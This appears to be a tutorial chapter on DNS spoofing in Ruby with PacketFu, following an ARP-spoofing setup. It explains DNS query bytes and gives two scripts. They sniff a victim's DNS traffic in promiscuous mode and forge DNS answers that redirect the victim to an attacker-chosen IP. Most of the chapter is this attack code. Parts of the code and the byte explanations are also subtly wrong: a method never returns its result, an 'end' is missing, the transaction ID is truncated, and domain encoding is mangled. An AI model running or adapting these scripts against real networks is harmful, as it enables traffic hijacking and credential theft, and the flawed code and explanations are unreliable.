DNS Spoofing

    The same IPs of ARP spoof attack

    Now we cant intercept DNS Query packet coming from victim’s machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we’ll use filter, then we’ll inspect the captured packet to ensure that it’s a query then find the requested domain. Download DNS packet.

    From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.

    Let’s to anatomize our payload

    1. 0000 e7 1d 01 00 00 01 00 00 00 00 00 00 07 74 77 69
    2. 0010 74 74 65 72 03 63 6f 6d 00 00 01 00 01
    • The First 2 bytes is the Transaction ID and we don’t care about it for now. (Our case: \xe7\x1d)
    • The next 2 bytes is the Flags[^3]. (We need: \x01\x00 = \x10)
    • Furthermore, in Queries section which contains
      • The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07)
        Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")

        • Notice The domain name of “twitter.com” equals \x07 but “www.twitter.com” equals \x03 the same consideration for subdomains
        • Each dot after first dot will be replaced with the length of the followed characters

          e.g. www.google.co.uk

          • First length (www) => will be replaced with \x03
          • First dot(.google) => will be replaced with \x06
          • Second dot(.co) => will be replaced with \x02
          • Third dot(.uk) => will be replaced with \x02
      • The very end of the domain name string is terminated by a \x00.

      • The next 2 bytes refers to the type of the query[^4]. (Our case: \x00\x01)

    Now what?!

    • We need to start capturing/sniffing on specific interface
    • We need to enable promiscuous mode on our interface
    • We need to capture UDP packets on port 53 only
    • We need parse/analyze the valid UDP packets only
    • We need to make sure this packet is a DNS query
    • We need to get the queried/requested domain
      • We need to know the domain length
      • We need to get the FQDN
    • Build a DNS response
    • Replace the requested domain with any domain we want
    • Re inject the packet into victim connection and send
    1. #!/usr/bin/env ruby
    2. #
    3. require 'packetfu'
    4. include PacketFu
    5. #
    6. # * We need to start capturing/sniffing on specific interface
    7. # * We need to enable promiscuous mode on our interface
    8. # * We need to capture UDP packets on port 53 only
    9. #
    10. filter = "udp and port 53 and host " + "192.168.0.21"
    11. capture = Capture.new(:iface => "wlan0",:start => true, :promisc => true, :filter => filter, :save => true)
    12. # * We need to get the queried/requested domain
    13. # * We need to know the domain length
    14. # * We need to get the FQDN
    15. #
    16. # Convert DNS Payload to readable - Find The FQDN
    17. #
    18. def readable(raw_domain)
    19. # Prevent processing non domain
    20. if raw_domain[0].ord == 0
    21. puts "ERROR : THE RAW STARTS WITH 0"
    22. return raw_domain[1..-1]
    23. end
    24. fqdn = ""
    25. length_offset = raw_domain[0].ord
    26. full_length = raw_domain[ 0..length_offset ].length
    27. domain_name = raw_domain[(full_length - length_offset)..length_offset]
    28. while length_offset != 0
    29. fqdn << domain_name + "."
    30. length_offset = raw_domain[full_length].ord
    31. domain_name = raw_domain[full_length + 1..full_length + length_offset]
    32. full_length = raw_domain[0..full_length + length_offset].length
    33. end
    34. end
    35. # * We need parse/analyze the valid UDP packets only
    36. # * We need to make sure this packet is a DNS query
    37. #
    38. #
    39. capture.stream.each do |pkt|
    40. # Make sure we can parse the packet; if we can, parse it
    41. if UDPPacket.can_parse?(pkt)
    42. @packet = Packet.parse(pkt)
    43. # Make sure we have a query packet
    44. dns_query = @packet.payload[2..3].to_s
    45. if dns_query == "\x01\x00"
    46. # Get the domain name into a readable format
    47. domain_name = @packet.payload[12..-1].to_s # FULL QUERY
    48. fqdn = readable(domain_name)
    49. # Ignore non query packet
    50. next if domain_name.nil?
    51. puts "DNS request for: " + fqdn
    52. end
    53. end
    54. end

    Till now we successfully finished then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?

    • taking the IP we are going to redirect the user to (the spoofing_ip)
      • converting it into hex using the to_i and pack methods.
    • From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.
      • I take most of this information straight from the DNS Query packet.
    • The next step is to create the DNS Response.
      • the best way to understand the code here is to look at a DNS header and then
      • take the bit map of the HEX values and apply them to the header.
      • This will let you see what flags are being set.
    • From here, we just calculate the checksum for the UDP packet and send it out to the target’s machine.

    Wrapping up

    1. #!/usr/bin/env ruby
    2. # -*- coding: binary -*-
    3. # Start the capture process
    4. require 'packetfu'
    5. require 'pp'
    6. include PacketFu
    7. def readable(raw_domain)
    8. # Prevent processing non domain
    9. if raw_domain[0].ord == 0
    10. puts "ERROR : THE RAW STARTS WITH 0"
    11. return raw_domain[1..-1]
    12. end
    13. fqdn = ""
    14. length_offset = raw_domain[0].ord
    15. full_length = raw_domain[ 0..length_offset ].length
    16. domain_name = raw_domain[(full_length - length_offset)..length_offset]
    17. while length_offset != 0
    18. fqdn << domain_name + "."
    19. length_offset = raw_domain[full_length].ord
    20. domain_name = raw_domain[full_length + 1 .. full_length + length_offset]
    21. full_length = raw_domain[0 .. full_length + length_offset].length
    22. end
    23. return fqdn.chomp!('.')
    24. #
    25. # Send Response
    26. #
    27. def spoof_response(packet, domain)
    28. attackerdomain_name = 'rubyfu.net'
    29. attackerdomain_ip = '54.243.253.221'.split('.').map {|oct| oct.to_i}.pack('c*') # Spoofing IP
    30. # Build UDP packet
    31. response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
    32. response.udp_src = packet.udp_dst # source port
    33. response.udp_dst = packet.udp_src # destination port
    34. response.ip_saddr = packet.ip_daddr # modem's IP address to be source
    35. response.ip_daddr = packet.ip_saddr # victim's IP address to be destination
    36. response.eth_daddr = packet.eth_saddr # the victim's MAC address
    37. response.payload = packet.payload[0,1] # Transaction ID
    38. response.payload += "\x81\x80" # Flags: Reply code: No error (0)
    39. response.payload += "\x00\x01" # Question: 1
    40. response.payload += "\x00\x00" # Answer RRs: 0
    41. response.payload += "\x00\x00" # Authority RRs: 0
    42. response.payload += "\x00\x00" # Additional RRs: 0
    43. response.payload += attackerdomain_name.split('.').map do |section| # Queries | Name: , Convert domain to DNS style(the opposite of readable method)
    44. [section.size.chr, section.chars.map {|c| '\x%x' % c.ord}.join]
    45. end.join + "\x00"
    46. response.payload += "\x00\x01" # Queries | Type: A (Host address)
    47. response.payload += "\x00\x01" # Queries | Class: IN (0x0001)
    48. response.payload += "\xc0\x0c" # Answer | Name: twitter.com
    49. response.payload += "\x00\x01" # Answer | Type: A (Host address)
    50. response.payload += "\x00\x01" # Answer | Class: IN (0x0001)
    51. response.payload += "\x00\x00\x00\x25" # Answer | Time to live: 37 seconds
    52. response.payload += "\x00\x04" # Answer | Data length: 4
    53. response.payload += attackerdomain_ip # Answer | Addr
    54. response.recalc # Calculate the packet
    55. response.to_w(response.iface) # Send the packet through our interface
    56. end
    57. filter = "udp and port 53 and host " + "192.168.0.21"
    58. @capture = Capture.new(:iface => "wlan0", :start => true, :promisc => true, :filter => filter, :save => true)
    59. # Find the DNS packets
    60. @capture.stream.each do |pkt|
    61. # Make sure we can parse the packet; if we can, parse it
    62. if UDPPacket.can_parse?(pkt)
    63. packet = Packet.parse(pkt)
    64. # Get the offset of the query type: (request=\x01\x00, response=\x81\x80)
    65. dns_query = packet.payload[2..3].to_s
    66. # Make sure we have a dns query packet
    67. if dns_query == "\x01\x00"
    68. # Get the domain name into a readable format
    69. domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
    70. fqdn = readable(domain_name)
    71. # Ignore non query packet
    72. next if domain_name.nil?
    73. puts "DNS request for: " + fqdn
    74. end
    75. # Make sure we have a dns reply packet
    76. if dns_query == "\x81\x80"
    77. domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
    78. fqdn = readable(domain_name)
    79. puts "[*] Start Spoofing: " + fqdn
    80. spoof_response packet, domain_name
    81. end
    82. end

    Sources[^1] [^2] - The code has been modified and fixed


    [^1]: DNS Spoofing Using PacketFu
    [^2]:
    [^3]: DNS Header Flags
    | Bit | Flag | Description | Reference |
    |:———:|———|———————————|—————-|
    | bit 5 | AA | Authoritative Answer | [RFC1035] |
    | bit 6 | TC | Truncated Response | [RFC1035] |
    | bit 7 | RD | Recursion Desired | [RFC1035] |
    | bit 8 | RA | Recursion Allowed | [RFC1035] |
    | bit 9 | | Reserved | |
    | bit 10 | AD | Authentic Data | [RFC4035] |
    | bit 11 | CD | Checking Disabled | [RFC4035] |
    [^4]:
    | Type | Value | Description |
    |:——-:|:——-:|:———————————————————-:|
    | A | 1 | IP Address |
    | NS | 2 | Name Server |
    | CNAME | 5 | Alias of a domain name |
    | PTR | 12 | Reverse DNS Lookup using the IP Address |
    | HINFO | 13 | Host Information |
    | MX | 15 | MX Record |
    | AXFR | 252 | Request for Zone Transfer |
    | ANY | 255 | Request for All Records |